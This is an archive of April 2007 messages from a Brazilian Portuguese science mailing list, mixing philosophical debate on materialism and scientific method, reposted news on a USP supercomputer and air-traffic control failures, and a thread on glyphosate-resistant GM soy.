JC >>> Não estou bem certo de ter entendido o que você
gostaria que eu tivesse entendido.

--- Of course you are.

JC >>> É importante termos um mesmo entendimento?

--- It would help.

JC >>> Non sequitur.

--- Cuméquiéunegocio?

JC >>> "The book is on the table" é o mesmo que "O
livro está sobre mesa".

--- Porque vc sabe esta equivalencia?

JC >>> Qual é o equivalente teológico de "O elétron
tem carga de módulo 1,6 x 10^(-19)"?

--- Porque vc não sabe esta equivalencia?


pfipca pem ppaz
ferrari



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SUBJECT: Convite dia da terra
FROM: "deise0109" <deise0109@bol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 12/04/2007 02:38

INSTITUTO ÁRVORE DA VIDA & SAPISCAMP CONVIDAM
OFICINA DE BIOCONSTRUÇÃO
LOCAL: PRAÇA PAU BRASIL
BAIRRO SOLAR DE CAMPINAS
DATA : 22/04/2007 – “Dia da Terra”
HORÁRIO: A PARTIR DAS 8:00H DA MANHÃ
(com pausa para almoço comunitário no local)

“O solo-cimento é um material que possui boa resistência à compressão, bom índice de impermeabilidade, baixo índice de retração volumétrica e boa durabilidade.”
Professor : Arquiteto Eduardo Salmar - Professor de Sistemas Construtivos na Faculdade de Arquitetura da Unimep. Construtor pelo Arquiterra-projetos e construções bioclimáticas desde 1982. Membro efetivo da rede iberoamericana PROTERRA. Pesquisador de materiais pelo IPR-Inova/Unicamp.
NECESSÁRIO CONFIRMAR PRESENÇA
TELEFONE(19) 21210192 OU (19)91234505
AOS PARTICIPANTES SOLICITAMOS A COLABORAÇÃO DE R$20,00 REAIS PARA A CONCRETIZAÇÃO DA OFICINA E R$5,00 PARA O ALMOÇO COMUNITÁRIO.
VAGAS LIMITADAS


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 09:42

Olá Takata!

--- Para uma pessoa que até então era de pouca
palavras, vc escreveu um bocado desta vez. Mais uma
atualização da sua persona no meu mapa. Vou colocar
nossos enunciados um em baixo do outro e assim
conversamos a respeito das divergencias, ok?

1) Realidade (takata): propriedade daquilo q existe.
1) Realidade (ferrari): ser universal (onipresente,
onipotente, onisciente).

2) Definição (takata): um subconjunto de propriedades
ao mesmo tempo necessárias e suficientes.
2) Definição (ferrari): decodificação (humana) da
realidade.

--- E ai, Takata, vc acha que divergimos em nossos
mapas? Em que? Comprando nossas definições, o que voce
ve de diferente e de igual? Numa primeira leitura,
afirmo que sua definição de realidade é uma definição
materialista. Note: o espaço e o tempo, segundo sua
definição, não são realidades. Faz sentido o que estou
dizendo? Concorda?

Takata >>> "Ao meu ver, arte, ciência, religião e
filosofia são os quatro alicerces de uma mesma casa: o
ser humano." ferrari. --- Esticando sua analogia - se
os alicerces começam a entrar um no outro, a casa cai.
Pense no prédio do Masp - magnífica obra projetada por
Lina Bo Bardi. Sustenta-se sobre um vão apoiado em 4
pilastras. Imagine se uma das pilastras sai do lugar e
tenta ocupar o espaço da outra? O prédio desaba.

--- Fico feliz em ver voce pensando metaforicamente.
Coisa simples para nós humanos e que o deep blue,
creio eu, não vai conseguir fazer antes do sol se
apagar. O deep blue mexe o cavalo pra matar o rei, mas
ele sequer sabe (humanamente falando) o que está
fazendo. Interessante isto, não? O que é um cavalo e
um rei pra o deep blue? Qual a realidade? Quais serão
as definições do deep blue? Nós também estamos sempre
mexendo nas peças do tabuleiro da realidade, cremos
que estamos, cremos também que sabemos o que estamos
fazendo e porque estamos fazendo, mas será que sabemos
mesmo? Ou será que o criado do deep ferrari e do deep
takata, está neste exato momento olhando para estes
dois piões e falando a mesma coisa que os piões estão
falando do deep blue. Se a ignorancia é mesmo uma
benção, temos que concluir que o deep blue está melhor
do que os deep humanos, não é mesmo?

--- Sobre as pilatras do masp, não digo que as quatro
são um só, mas funcionam como um só, é isto. Elas
estão em constante comunicação. Bloquear esta
comunicação enfraquece a casa, e ai sim ela cai.
Quando uma pilastra fala, a outra a apoia com sua
semantica caracteristica. Existe uma tradução no meio,
mas estão falando do mesmo assunto: a casa humana. No
masp é assim também, uma pilastra está sempre, ao seu
modo, apoiando a outra. Existe uma constante
comunicação entre as 4 pilastras do masp, se esta
comunicação parar de um lado, o masp todo cai.

--- Enfim, o que defendo é a constate comunicação
entre arte, ciência, religião e filosofia, e a
compreenção de que falam sobre o mesmo assunto (o ser
humano) porém com linguagens distintas. Pois como
diria o grande filosofo do bacalhau: "quem não se
comunica se instrumbica".


sinceramente
ferrari








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SUBJECT: transcrevo da FAPESP:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/04/2007 10:16

Pesquisa turbinada

12/04/2007

Por Fábio de Castro

Agência FAPESP - A Universidade de São Paulo (USP) inaugurou, na última terça-feira (10/4), o supercomputador IBM PowerPC 970. Instalado no Centro de Computação Eletrônica da universidade, o sistema foi adquirido com apoio da FAPESP por meio do Programa Equipamentos Multiusuários, a partir de um projeto elaborado por um consórcio formado por 66 grupos de pesquisa da USP.

O supercomputador consiste em um cluster (aglomerado computacional) de 448 processadores que operam em conjunto, possibilitando um desempenho de 2,9 trilhões de operações por segundo (teraflops).

O cluster, ao lado de três máquinas da Petrobras, é o primeiro de uso acadêmico do país a entrar no Top 500, ranking dos computadores mais potentes do planeta. É o 363º, enquanto os da Petrobras ocupam as posições 273, 275 e 418 na lista.

Segundo Luiz Nunes de Oliveira, professor do Departamento de Física e Informática do Instituto de Física de São Carlos, da Universidade de São Paulo (USP), o equipamento representará um grande passo para a pesquisa acadêmica nacional. "Sabemos que há pesquisadores cujos projetos estão há dez anos engavetados por falta de um equipamento como esse. Agora, eles terão a chance de executá-los", disse à
Agência FAPESP.

De acordo com Nunes de Oliveira, coordenador da equipe que solicitou o supercomputador, a utilização do equipamento será gerenciada por quatro representantes do grupo. O usuário não precisa ter vínculo com a USP. "Quem tiver necessidade submeterá um projeto a ser avaliado pela comissão. Vamos considerar o potencial da pesquisa e suas necessidades de tempo para ceder o equipamento", disse.

Na próxima semana, uma reunião determinará critérios para distribuição de tempo e utilização. "Ficou estabelecido pelos consorciados que serão priorizados 15 dos processos que participaram do Programa Equipamentos Multiusuários", explicou.

O supercomputador ficou em operação nos últimos 30 dias, enquanto eram feitos os últimos ajustes para a inauguração. "Tivemos um período de testes para os pesquisadores se adaptarem. Eles puderam utilizar com seus próprios critérios e houve uma grande demanda, a ponto de o cluster ter ficado completamente ocupado", disse.

Segundo Nunes de Oliveira, o sistema permite buscas muito rápidas em grandes grupos de dados. Ele será utilizado no desenvolvimento de projetos de diferentes áreas, com aplicações em ciências humanas (como em economia), genômica, engenharia, meteorologia, astrofísica, física de materiais e mecânica de fluidos.

Pesquisadores da área de computação também utilizarão o equipamento para estudar o próprio uso desse tipo de computador. "Com a miniaturização dos dispositivos que compõem os processadores começamos a ter uma série de efeitos de mecânica quântica que não existiam antes. Pretendemos estudar as propriedades básicas desses dispositivos para transformar tais sistemas em algo que seja regularmente utilizável pelos engenheiros do futuro", disse.

O Programa de Equipamentos Multiusuários da FAPESP tem o objetivo de financiar a aquisição de equipamentos de valor bastante elevado e de uso compartilhado por pesquisadores e instituições.

Criado em 1996 como um módulo do Programa de Apoio à Infra-Estrutura de Pesquisa, foi tratado de 1998 a 2002 como um programa especial autônomo. Reativado em 2004, o Programa de Equipamentos Multiusuários desembolsou mais de R$ 50 milhões para 113 projetos em 2005 e 2006.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: eu não vôo mais...
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/04/2007 10:28

transcrevo:


Relatórios sigilosos mostram falhas no controle aéreo brasileiro

GABRIELA GUERREIRO
da Folha Online, em Brasília

Relatórios sigilosos recebidos por parlamentares da oposição revelam graves problemas no sistema de controle aéreo brasileiro. Os documentos apontam que aviões sumiram dos radares do Cindacta-1 (Centro Integrado de Defesa Aérea e Controle do Tráfego Aéreo), em Brasília, além da existência de multiplicação de pistas de pouso e mudanças na altitude das aeronaves sem a autorização de torres de comando.

Os documentos reforçam o argumento da oposição da necessidade de instalação da CPI do Apagão Aéreo na Câmara para investigar a crise que atinge o setor. Segundo o deputado Gustavo Fruet (PSDB-PR), os controladores já fizeram chegar outros documentos nas mãos de parlamentares que investigam a crise aérea. Um deles demonstra que os controladores também têm verificado problemas em vôos internacionais que transitam no espaço aéreo brasileiro.

"Os relatórios são significativos, recentes. Mas é preciso olhar para eles com atenção. É muito grave o que os controladores vêm afirmando em relação às empresas aéreas brasileiras, o que pode trazer problemas com outros países", disse.

A Folha Online teve acesso aos relatórios que foram escritos em papéis timbrados do Sipaer (Sistema de Investigação e Prevenção de Acidentes). Em um deles, escrito no dia 27 de fevereiro deste ano, o controlador de tráfego aéreo relata que "todos os dias, em todos os turnos [de trabalho]" aviões mudam de altitude automaticamente. "Informo que, cinco meses após o acidente do vôo GOL 1907, em que um dos fatores foi a mudança de nível de vôo, isso ainda vem ocorrendo", relata o controlador.

Em outro relatório, datado de 13 de março deste ano, o controlador reclama que estão ocorrendo "inúmeras multiplicações de alvos" nos radares. O controlador cita os vôos TAM 3141, 3096, 3833, e GOL 1893 e 1693, entre outros, como vítimas de duplicidade no radar.

Ele relata no documento todos os vôos e as posições das aeronaves no momento em que apareceram de forma duplicada nos radares.

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[As partes desta mensagem que não continham texto foram removidas]






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No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007 22:57


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Questão de Ordem - Direito de Defesa
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/04/2007 12:03

Olá Ferrari,

Sei que não fez por mal, mas a razão para que eu mandasse minha mensagem em
pvt não foi proteger minha identidade, mas sim, justamente, porque não
concordo com a continuação desta discussão nesta lista, como informei na
mensagem em questão.

Claro que vc tem o direito de discordar desta minha posição, mas neste caso
prefiro encerrar de vez a discussão.

Mantenho a minha proposta: se quiser continuar o debate fora da lista, conte
comigo.

Um abraço,

Ricardo


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 11:08 AM
Subject: [ciencialist] Questão de Ordem - Direito de Defesa


> Olá lista!
>
> Um colega integrante da nossa lista me mandou um email
> em PVT. Estou respondendo aqui porque creio que as
> perguntas e criticas que ele me fez, e minhas
> respostas a elas, podem esclarecer as acusações
> generalizadas das quais sou acusado, e que ao meu ver,
> são injustas. Assim, este email e uma questão de ordem
> e direito de defesa.
>
> Não vou dizer o nome do integrante, pois se ele me
> criticou em PVT suponho que ele não queira que vcs
> saibam quem é ele. No lugar do nome dele vou escrever
> "listeiro", ok?
>
> Envio este email com o intuito de demonstrar que não
> estou aqui pra me predispor com ninguém, nem falar
> sobre dogmatismo religioso, ou filosofico. Pelo
> contrário, participo desta lista a muitos anos e sou
> avesso a qualquer tipo de dogmatismo, inclusive
> cientifico. Se estou me manifestando atualmente da
> forma que estou, reforço: minha motivação é ser útil,
> se possivel, e a quem for possivel. Sendo assim, vamos
> a mensagem.
>
> Olá amigo listeiro!
>
> Listeiro >>> Não te responder foi apenas um
> posicionamento claro. Não falando, falei o que
> realmente queria dizer. Que não acho legal seguir
> neste tipo de discussão na lista.
>
> --- Listeiro, entendo e respeito. Mas não concordo. A
> ciência precisa sair do paradigma materialismo e quem
> impede isto são os cientistas e não a ciência,
> entende? Se você re-observar minhas manifestações na
> lista, verá que em nenhum momento estou falando nada
> da ciência (em si), mas sim dos cientistas e do
> paradigma materialista. Ou seja, eu estou indo na base
> da coisa, na causa do paradigma materialista que são
> as crenças dos cientistas. Faço isto porque é ai que
> está o problema que tem limitado o avanço dos novos
> cientistas e dos novos paradigmas. Na lista estão os
> cientistas, novos e tradicionais. Aos tradicionais,
> precisamos questionar seus tradicionais paradigmas,
> aos novos, precisamos estimula-los a produzir novos e
> não apenas a decorar os tradicionais. Eis porque julgo
> que é importante este tipo de debate. No fim, se os
> tradicionais mapas estiverem certos, se eles forem
> verdadeiros, porque temer? A verdade sempre prevalece,
> não é mesmo?
>
> Listeiro >>> O ponto é que essa é tradicionalmente
> uma lista de ciência convencional. Se saímos um pouco
> do rumo, com alguma freqüência, isso não faz mal a
> ninguém. Mas se as mensagens que tratam de assuntos,
> muitas vezes interessantes, mas fora deste contexto de
> ciência que estamos acostumados (utilizado pela
> lista), começam a ser a grande maioria das mensagens,
> significa que muitos querem discutir um pouco do
> assunto, ou poucos querem discutir muito. Mas perdemos
> o foco e o ganho de termos listas por assunto.
>
> --- Primeiro: será que é mesmo uma lista de ciência
> convencional? Ou será que é uma lista onde só os
> tradicionais tem voz. Pois quando alguém fala um "a"
> que sai do "convencional" logo as autoridades caem
> matando de pau. Que lista de ciências é esta? Onde uma
> lista de ciência espera chegar assim, no mesmo lugar
> comum de sempre? Na ciência família e propriedade?
>
> --- Segundo: ciência convencional? Tá vendo como os
> cientistas querem ser donos da ciência? Estão sempre
> querendo convenciona-la aos seus interesses. A ciência
> não é propriedade de nenhum cientista. Se a pessoa
> quer ser convencional, tudo bem. Mas o que a ciência
> tem a ver com isto? Deixa a ciência ser o que ela é:
> instrumento humano de investigação.
>
> Listeiro >>> Quando as pessoas entram em uma lista de
> X, de uma coisa temos certeza (quase sempre): ele
> gosta e quer discutir X. Ele pode não se pronunciar um
> tempo, mas estará sempre acompanhando com algum
> interesse. Quando começamos outros assuntos, que não
> X, começam a ser dominantes na lista, no máximo
> supomos que alguns gostam e outros não de Y. A
> tendência é afastar e tirar o interesse daqueles que
> não queriam estar discutindo Y. Por isso, e outras
> razões, a maioria das listas tem moderadores.
>
> --- Este seu argumento não procede, e você sabe que
> não. O que estou discutindo com os listeiros da
> ciencialist é o que tem de mais fundamental na ciência
> "o método cientifico". Só que não tem como compreender
> o "método cientifico" sem compreender também o seu
> aplicador "o cientista". É só isto que estou dizendo.
> É só isto que ninguém quer admitir, e fica irritado
> quando aponto.
>
> Listeiro >>> Não acho que você esteja discutindo
> ciência.
>
> --- Não estou mesmo. Em nenhum momento estive. Nem vou
> estar. Ciência não se discute, se faz. Assim como
> música não se discute, se faz. O que estou discutindo
> é "o método cientifico".
>
> Listeiro >>> O que você chama de ciência materialista,
> eu chamo de ciência.
>
> --- A ciência não é materialista. Materialismo é uma
> crença, não é uma coisa. A ciencia não tem como ser
> materialista, é impossível. A ciência é um processo
> dentro da realidade e a realidade não é material, é
> real. Contudo, a mente dos cientista, que também não é
> material, é habitada por este paradigma "o
> materialismo". E é assim que, apesar de nada na
> realidade ser material, passa a ser, embora não sendo.
> Entende o que estou dizendo?
>
> Listeiro >>> Você levanta algumas questões filosóficas
> importantes. Não são nenhuma novidade, nem precisam
> ser (vc nunca disse que eram, apenas agiu como tal).
> Mas a maior parte do tempo só diz coisas para as quais
> não vejo nenhum valor.
>
> --- Ok, respeito. Estou aqui debatendo pra ser util a
> quem acha que o que digo tem valor. Se as pessoas
> respondem indignadas está longe do meu controle. Se
> respondo é pra esclarecer o que afirmo, não para
> confundir, impor, ou criar confusão. Pelo contrário,
> exponho para ser útil, e respondo sobre o que exponho
> para continuar sendo útil.
>
> Listeiro >>> Na sua opinião, não sou ainda capaz de
> entender o valor inerente.
>
> --- Sempre digo o contrário, que todos podem
> compreender. Mas que muitos não querem. É isto que
> digo. Se você quiser compreender o que aponto, você
> não só pode, como já sabe. Se não soubesse eu não
> teria como lhe mostrar. Assim como não faria sentido
> eu lhe mostrar as cores se você fosse cego. Mas meu
> limite é apontar, ver é com você.
>
> Listeiro >>> na minha opinião, faltam argumentos
> válidos. E podemos discutir mais sobre isso, se você
> quiser.
>
> --- Sim, me diga o porque desta sua opinião. Se você
> puder exemplificar ficará mais produtivo ainda o
> debate sobre esta sua opinião.
>
> Listeiro >>> Temos uma diferente concepção de
> realidade. E também podemos discutir isso, se você
> quiser.
>
> --- Sim, claro! Você pode começar apontando as
> diferenças. Ou então, me dizendo qual é a sua
> concepção.
>
> Listeiro >>> mas afirma categoricamente (com uma certa
> prepotência até), que eu não sei o que é isso ou
> aquilo e que você sabe. E que um dia eu, talvez,
> perceba que isso que você sabe é a verdade verdadeira,
> absoluta. Entende?
>
> --- A suposta prepotência é só provocação. A afirmação
> de que eu sei e o Homero não sabe, também é provocação
> pra ver se ele abre a carta do materialismo. Mas não
> significa que eu não saiba o que estou dizendo. Sim,
> sei sim. Mas o que sei? Sei o que é fazer ciência.
> Negar isto seria tão incongruente como negar que sei o
> que é azul, o que é doce, etc. Não tem porque negar.
> Mas também não sei mais do que ninguém. Todo os seres
> humanos sabem o que eu sei, assim como todo ser humano
> sabe o que é azul, doce, etc. Ou seja, não tem nenhum
> segredo nem nenhuma verdade absoluta no que eu sei,
> apenas me interesso por fenomenos que todos sabem,
> conhecem, mas geralmente não dão nenhuma atenção: o
> processo da ciencia (saber).
>
> Listeiro >>> Te falta um pouco de humildade.
>
> --- Respeito sua opinião. As vezes minha franqueza é
> confundida como falta de humildade. Por outro lado, se
> eu fizer esforço para ser humilde, a humildade vai ser
> falsa e a franqueza vai por água abaixo, não é? Sendo
> assim, faço esforço apenas para ser franco e assumo as
> conseqüências.
>
> Listeiro >>> A sua verdade não é necessariamente a
> verdadeira. Na verdade não acredito nessa tal verdade
> absoluta. Você talvez também fale que não acredita,
> mas não será coerente com sua observação acima.
>
> --- Tem algumas coisas ai:
>
> --- 1) Sim, por ser obrigado a pensar, meu pensamento
> deduz que existe sim uma realidade maior do que ele
> (que vc chama de absoluta) que lhe obriga a continuar
> pensando.
>
> --- 2) Isto não significa que o conhecimento da
> realidade produzido pelo pensamento é a realidade. Eu
> sei que não é.
>
> --- 3) É melhor separar os termos: verdade e
> realidade. Verdade tem a ver com o conhecimento da
> realidade (ser), realidade tem a ver com a realidade
> (em si), com o ser (em si).
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
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SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 13:29

Sim, tem razao.

Tem um artigo bem interessante sobre soja resistente a glifosato em

http://64.233.167.104/search?q=cache:eidlLeIchdEJ:www.scielo.br/cgi-
bin/wxis.exe/%3FIsisScript%3DScieloXML/sci_arttext.xis%26def%
3Dscielo.def%26pid%3DS0001-
37652006000400005+differences+between+epsps+of+soybean+and+agrobacterium
&hl=pt-BR&ct=clnk&cd=2&gl=br

Titulo do artigo:

GMOs: building the future on the basis of past experience

Luiz F.L. Reis I; Marie-Anne van Sluys II; Richard C. Garratt III;
Humberto M. Pereira III; Mauro M. Teixeira IV

I Ludwig Institute for Cancer Research, Rua Professor Antonio Prudente
109, 4º andar, 01509-010 São Paulo, SP, Brasil
II Departamento de Botânica, Universidade de São Paulo, Rua do Matão
277, Cidade Universitária, 05509-900 São Paulo, SP, Brasil
III Instituto de Física de São Carlos, Universidade de São Paulo, Av.
Trabalhador São-Carlense 400, Centro, 13560-250 São Carlos SP, Brasil
IV Departamento de Bioquímica e Imunologia, ICB, Universidade Federal
de Minas Gerais, Av. Antonio Carlos 6627, Pampulha, 31270-901 Belo
Horizonte, MG, Brasil

Esse artigo mostra q a EPSPS da AB CP4 difere razoavelmente da EPSPS
natural da soja. Sao apenas da ordem de 70% iguais em termos de
comparacao de bases nitrogenadas.

Fiquei surpreso de serem tao diferentes mas, pensando bem, ha' muito
tempo de evolucao separada entre a agrobacteria e a soja (o artigo
inclusive tem uma interessante 'arvore evolutiva' entre as especies q
usam a EPSPS).

O livro de Palumbi refere-se aas primeiras versoes de soja resistente a
glifosato, q usavam multiplas copias do gene EPSPS da soja.

O EPSPS da AB CP4 tem uma estrutura molecular tridimensional diferente
da EPSPS da soja, q nao permite facilmente a aceitacao do glifosato no
lugar do seu substrato natural PEP, e assim a soja com o gene q
codifica a EPSPS da AB CP4 torna-se resistente ao glifosato mesmo com
poucas ou uma unica versao desse gene em seu genoma. Hoje praticamente
toda a soja GM usa gene de EPSPS de AB CP4m e nao multiplas copias de
EPSPS 'autoctone'.

Portanto a rigor e' mesmo transgenica, embora tenha um gene externo q
codifica uma enzima bem semelhante e com a mesma funcao bioquimica de
uma enzima naturalmente presente na soja normal.

Abs,
Eduardo Torres


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> > Pelo q entendi e' a *mesma* proteina, a EPSPS.
>
> 'Mesmo' só no sentido de q o gene /cox/ de mamíferos é o mesmo q o das
> bactérias - são homólogos.
>
> Pelo q entendo, eles pegam uma variante do gene de /Agrobacterium/ q
> *corresponde* à proteína de seqüência semelhante e função idem
> presente nas plantas. Essa variante é a q confere resistência ao
> /Agrobacterium/ q a possui.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Re: P/ JC - Discordando, politely
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 14:31

> Non sequitur. "The book is on the table" é o mesmo que "O livro está
> sobre mesa", qual é o equivalente teológico de "O elétron tem carga de
> módulo 1,6 x 10^(-19)"?

Deus disse: Que o elétron tenha carga de módulo 1,6 x 10^(-19)!

> Qual o equivalente filosófico?

É da natureza do elétron ter carga de módulo 1,6 x 10^(-19)

Equivalente político:
O elétron passa a ter carga de módulo 1,6 x 10^(-19). Revogam-se as
disposições em contrário.

Equivalente midiático:
(Voz do Willam Bonner) - Crescimento Nulo. O elétron no Brasil continua a
ter carga de módulo 1,6 x 10^(-19). (Miram Leitão comenta como no prmeiro
mundo estão sendo desenvolvidos programas de incremento de elétrons muito
mais eficientes do que os do Brasil)

Acho que isso dá uma boa brincadeira pra sites de humor científico :)

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ JC - Discordando, politely
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/04/2007 14:49

Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.

[ ]´s
Alberto

----- Original Message -----
From: "Gil" <nanolink01@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 12, 2007 2:31 PM
Subject: Re: [ciencialist] Re: P/ JC - Discordando, politely


> Non sequitur. "The book is on the table" é o mesmo que "O livro está
> sobre mesa", qual é o equivalente teológico de "O elétron tem carga de
> módulo 1,6 x 10^(-19)"?

Deus disse: Que o elétron tenha carga de módulo 1,6 x 10^(-19)!

> Qual o equivalente filosófico?

É da natureza do elétron ter carga de módulo 1,6 x 10^(-19)

Equivalente político:
O elétron passa a ter carga de módulo 1,6 x 10^(-19). Revogam-se as
disposições em contrário.

Equivalente midiático:
(Voz do Willam Bonner) - Crescimento Nulo. O elétron no Brasil continua a
ter carga de módulo 1,6 x 10^(-19). (Miram Leitão comenta como no prmeiro
mundo estão sendo desenvolvidos programas de incremento de elétrons muito
mais eficientes do que os do Brasil)

Acho que isso dá uma boa brincadeira pra sites de humor científico :)

Gil



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 15:24

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> http://64.233.167.104/search?q=cache:eidlLeIchdEJ:www.scielo.br/cgi-
> bin/wxis.exe/%3FIsisScript%3DScieloXML/sci_arttext.xis%26def%
> 3Dscielo.def%26pid%3DS0001-
37652006000400005+differences+between+epsps+of+soybean+and+agrobacterium
> &hl=pt-BR&ct=clnk&cd=2&gl=br

Um endereço mais curto:

http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0001-37652006000400005

Ou:

http://tinyurl.com/3xl4g8

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: P/ JC - Discordando, politely
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/04/2007 16:21

The book is on the table pode muito bem ser trocado por

Le lit de brebis et blanc. ou Mes enfants son très jolis.

silvio, filólogo...


----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 11:44 PM
Subject: [ciencialist] Re: P/ JC - Discordando, politely


Hello Teacher!

JC >>> Não estou bem certo de ter entendido o que você
gostaria que eu tivesse entendido.

--- Of course you are.

JC >>> É importante termos um mesmo entendimento?

--- It would help.

JC >>> Non sequitur.

--- Cuméquiéunegocio?

JC >>> "The book is on the table" é o mesmo que "O
livro está sobre mesa".

--- Porque vc sabe esta equivalencia?

JC >>> Qual é o equivalente teológico de "O elétron
tem carga de módulo 1,6 x 10^(-19)"?

--- Porque vc não sabe esta equivalencia?

pfipca pem ppaz
ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 16:48

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu>
> Um endereço mais curto:
>
> http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0001-
37652006000400005


>>>>Nao informei esse pq esta' com algum bug: Aparece so' um codigo
fonte em HTML.

Abs,
Eduardo Torres



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 16:59

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres" <dudutorres@...>
> >>>>Nao informei esse pq esta' com algum bug: Aparece so' um codigo
> fonte em HTML.

Estranho. Pra mim aparece normal...

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/04/2007 17:26

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> 1) Realidade (takata): propriedade daquilo q existe.
> 1) Realidade (ferrari): ser universal (onipresente,
> onipotente, onisciente).
>
> 2) Definição (takata): um subconjunto de propriedades
> ao mesmo tempo necessárias e suficientes.
> 2) Definição (ferrari): decodificação (humana) da
> realidade.
>
> --- E ai, Takata, vc acha que divergimos em nossos
> mapas? Em que? Comprando nossas definições, o que voce
> ve de diferente e de igual? Numa primeira leitura,
> afirmo que sua definição de realidade é uma definição
> materialista. Note: o espaço e o tempo, segundo sua
> definição, não são realidades. Faz sentido o que estou
> dizendo? Concorda?

Espaço e tempo podem ser propriedades da realidade. (Afinal pela sua
definição humanos tb não seriam realidade, posto q não são oni...)

A definição q escrevi de realidade não é propriamente materialista -
embora o materialismo possa se apoiar nela. Por exemplo, se espíritos
existem, então eles tb fariam parte da realidade.

Qto às diferenças, elas são bem visíveis. Na definição q escrevi, não
se faz nenhuma suposição a cerca da capacidade de saber do q quer q
seja a realidade - a realidade não precisa, por definição, ser consciente.

A respeito de "definição", como coisas q não são reais podem tb ser
definidas: por exemplo, "políticos honestos: político q não rouba e
não deixa roubar" - a idéia de "definição" como decodificação da
realidade é um tto problemática.

> --- Sobre as pilatras do masp, não digo que as quatro
> são um só, mas funcionam como um só, é isto. Elas
> estão em constante comunicação. Bloquear esta
> comunicação enfraquece a casa, e ai sim ela cai.

Não precisa e nem há comunicação entre as pilastras - as pilastras
estão separadas e elas poderiam, inclusive, assentarem-se sobre
porções isoladas do solo. Uma pilastra não sabe o q a outra faz ou
deixa de fazer e isso não interfere no q cada uma faz ou deixa de fazer.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/04/2007 21:46

Olá, José Carlos!

Não gostaria de lhe estragar o prazer de achar as duas soluções possíveis
para a questão apresentada. Lembro que esse mesmo problema foi apresentado
há tempos na lista e no final ficaram todos dizendo que voa e apenas eu
dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
colocado várias dicas para serem analisadas de modo a acompanhar meu
raciocínio lógico-matemático. Mas até agora parece que ninguém conseguiu
entender minhas explicações.

Abraços

José Renato
...................................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 11, 2007 12:12 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
:)


Olá JR,

Não conheço sua solução (é sua?), aliás, nem sabia que tinha outra
além da que o Homero comentou (é dele?).

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora
com a
> explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> questão. A outra solução ainda não consegui transmitir aos
interlocutores da
> lista. Pelo menos até agora ninguém disse que a entendeu.
Estranhamente,
> alguns ficaram calados depois de algumas explicações mais
detalhadas... É
> bom lembrar que as idéias não têm dono, mas têm autoria. É de boa ética
> citá-la ao transmitir em outras plagas.
>
